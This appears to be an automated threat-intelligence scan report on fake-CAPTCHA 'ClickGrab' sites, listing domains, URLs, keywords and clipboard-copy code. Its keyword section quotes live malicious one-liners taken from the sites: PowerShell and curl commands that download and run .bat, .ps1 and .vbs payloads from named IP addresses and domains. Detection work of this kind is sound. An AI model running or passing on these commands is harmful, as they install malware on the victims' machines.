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Emerging ClickGrab Campaign: Advanced Analysis of 2026-06-05 Attack Patterns

📅 Published: June 05, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
100Sites
16%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2026-06-05

Generated on 2026-06-05 01:47:44

Executive Summary

  • Total sites analyzed: 100
  • Sites with malicious content: 16
  • Unique domains encountered: 477
  • Total URLs extracted: 4,904
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 70

Domain Analysis

Most Frequently Encountered Domains

  • www.maheshwaree.com: 316 occurrences
  • 98.70.13.131: 303 occurrences
  • fudgeshop.com.au: 265 occurrences
  • picsera.com: 227 occurrences
  • 18.176.47.246: 218 occurrences
  • hhpms.com: 214 occurrences
  • scillarodriguez.com: 199 occurrences
  • www.ccera-icar.org: 178 occurrences
  • senevie.com: 174 occurrences
  • www.evodigital.com.au: 156 occurrences
  • www.creatorssky.com: 154 occurrences
  • devblog.ezeelogin.com: 126 occurrences
  • www.dorper.com.au: 125 occurrences
  • akademiawalki.com: 125 occurrences
  • picsera.sirv.com: 121 occurrences

URL Pattern Analysis

reCAPTCHA imagery

17 occurrences across 15 distinct URLs

  • https://www.google.com/recaptcha/api.js (2 times)
  • https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (2 times)
  • http://172.96.189.153/wp-content/plugins/cf-security-shield/assets/css/captcha-styles.css?ver=1.0.0 (1 times)
  • http://172.96.189.153/wp-content/plugins/ckk/assets/css/captcha-styles.css?ver=2.0.0 (1 times)
  • http://172.96.189.153/wp-content/plugins/CF/captcha.html (1 times)
  • ...and 10 more distinct URLs

Font resources

78 occurrences across 69 distinct URLs

  • https://fonts.gstatic.com (6 times)
  • https://fonts.googleapis.com (3 times)
  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • http://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • http://172.96.189.153/wp-content/themes/customify/assets/fonts/font-awesome/css/font-awesome.min.css?ver=5.0.0 (1 times)
  • ...and 64 more distinct URLs

CDN hosted scripts

7 occurrences across 7 distinct URLs

  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/examples/jsm/ (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css?ver=6.8.5 (1 times)
  • https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.min.js?ver=6.0.8 (1 times)
  • https://diffuser-cdn.app-us1.com/diffuser/diffuser.js, (1 times)
  • ...and 2 more distinct URLs

Google resources

69 occurrences across 48 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (10 times)
  • https://www.googletagmanager.com/gtm.js?id= (4 times)
  • https://www.google (3 times)
  • https://fonts.googleapis.com (3 times)
  • https://*.googleapis.com (3 times)
  • ...and 43 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 461 (100 unique)

Keyword Categories

Social Engineering

53 unique keywords

  • CAPTCHA-logo
  • verification id
  • captcha-overlay
  • captcha_sid
  • verification
  • captcha-badge
  • CaptchaCheckbox
  • Captcha
  • captcha_word_new_387292
  • captcha-js-before
  • ...and 43 more

Obfuscation Indicators

5 unique keywords

  • eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
  • eval("clearTimeout(timeIn"+uid+")")
  • eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")
  • eval('var timeOut'+popupItems[i].id)
  • eval("clearTimeout(timeOut"+uid+")")

System Commands

22 unique keywords

  • command =powershell -c "Invoke-WebRequest -Uri 'http://95.164.53.214:5554/d.bat' -OutFile \"%temp%\d.bat\" -UseBasicParsing; Start-Process \"%temp%\d.bat\"";
  • `exec(ua) != null) { rv = parseFloat(RegExp.$1); } } else if (n.appName == "Netscape") { rv = 11; re = new RegExp("Trident/.rv:([0-9]+[.0-9])"); if (re.exec(ua) != null) { rv = parseFloat(RegExp.$1); } } }

return rv; }

})(window, document, navigator)-invoke-command = cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;";-command over Creativity, Excellence in spoken word, and outward articulation of inner knowledge.

-cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\Downloads\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"; - wscript - powershell - const command = - exec /i http://inkbookwriters.com/verify'; - ...and 12 more

Verification Text

2 unique keywords

  • hidden
  • ray id

Technical Terms

18 unique keywords

  • You will observe
  • system (EMS)
  • responseText
  • .exe
  • WebClient
  • VirtualAlloc
  • XMLHTTP
  • Ray ID
  • Bypass
  • ResponseText
  • ...and 8 more

Most Frequent Keywords

  • hidden: 41 occurrences
  • robot: 38 occurrences
  • failed_to_retrieve: 29 occurrences
  • Robot: 26 occurrences
  • verification: 15 occurrences
  • captcha: 15 occurrences
  • CAPTCHA: 14 occurrences
  • CAPTCHA Verification: 12 occurrences
  • Verification ID: 12 occurrences
  • I am not a robot: 12 occurrences
  • You will observe: 12 occurrences
  • Verification: 12 occurrences
  • verification-id: 12 occurrences
  • To better prove you are not a robot: 12 occurrences
  • Ray ID: 11 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';, command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';

Group 2: CAPTCHA Verification, CAPTCHA-verificatie-ID, Verification, verification, captcha-verified

Group 3: Verification ID, verification-id, verification id, verification_id

Group 4: Ray ID, ray id

Group 5: CAPTCHA, Captcha, CaptchaImages, captcha-modal, captcha, captcha_page, captcha-badge, captcha-box, captcha-logo, CAPTCHA-logo, captcha_word, captcha_sid, captcha-js, captcha_0, CaptchaError

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • IsMaintenanceCloseRestartRestartManagerOptionTypic...
  • 08bc9e532652f39272f73baa072cc4b1
  • applicationsRemoving
  • filesRollbackRemoving
  • filesRollbackCleanupInitializing

Clipboard Manipulation Analysis

Detected clipboard manipulation in 70 instances.

Document.Execcommand Copy

Found in 30 snippets (42.9% of clipboard code)

Examples:

document.execCommand("copy")

document.execCommand('copy')

try { document.execCommand('copy')

Textarea Manipulation

Found in 30 snippets (42.9% of clipboard code)

Examples:

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

ng is the safe placeholder above const textarea = document.createElement('textarea'

tListener("click", function () { const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.